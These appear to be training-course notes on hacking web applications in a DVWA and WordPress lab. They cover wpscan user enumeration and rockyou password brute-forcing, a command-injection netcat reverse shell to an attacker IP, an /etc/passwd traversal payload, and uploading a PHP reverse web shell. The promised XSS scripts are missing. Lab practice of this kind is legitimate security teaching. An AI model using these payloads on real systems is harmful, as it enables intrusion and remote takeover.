

Chapter 14 Web Applications Hacking

#Pre-Exploitation

1. `sudo wafw00f domainname`
2. `robots.txt`
3. Going through page source code
4. `sudo wpscan --url http://ubuntuwebip/wordpress`
`sudo wpscan --url http://ubuntuwebip/wordpress -e u`
(You can use this wordlist `/usr/share/wordlists/rockyou.txt`)

```
cd /usr/share/wordlists
sudo gunzip rockyou.txt.gz
sudo wpscan --url http://ubuntuwebip/wordpress -U username -P password.txt
```

To access the website use this in the browser "`http://ubuntuwebip/wordpress`"

To access login page use this in the browser "`http://ubuntuwebip/wordpress/wp-admin`"

5. Using Owasp-zap to perform Vulnerability Scanning

#Exploitation

Cross site Scripting (XSS):

i) XSS-Reflected

Login to ubuntu web machine using the credentials "machine:vulnerable"

Open browser in parrot and use `http://ubuntuwebip` and please select DVWA.

Login to DVWA using credentials "admin:password"

Select XSS-Reflected and use below mentioned script

ii) XSS-Stored

Please select XSS-Stored and use the script

Login to DVWA in some other machine and select XSS-Stored to see the impact of the attack

iii) DOM-Based XSS

Please select DOM-Based XSS and use

Command Injection :

In attacker's (ParrotIP) terminal use

```
"nc -lvp 1234"
```

Now please select command injection in DVWA and use below mentioned command

..

```
"nc -e /bin/sh attackerip port"
```

go to attackers machine now, check the connection and try to execute the commands on the server (pwd,whoami,ls)

File Inclusion and Directory Traversal Vulnerability:

```
../../../../../../etc/passwd
```

File Upload Vulnerability:

In attacker's terminal use

```
cd /usr/share/webshells
ls
cd php
sudo cp php-reverse-shell.php /home/user/Desktop
cd
sudo pluma php-reverse-shell.php
change the ip in the file to attacker's ip and save it
in attacker's terminal use "nc -lvp 1234"
now go to DVWA and select file upload and upload the file
in the url replace # with file path and hit enter
now go to attacker's machine to check the connection
```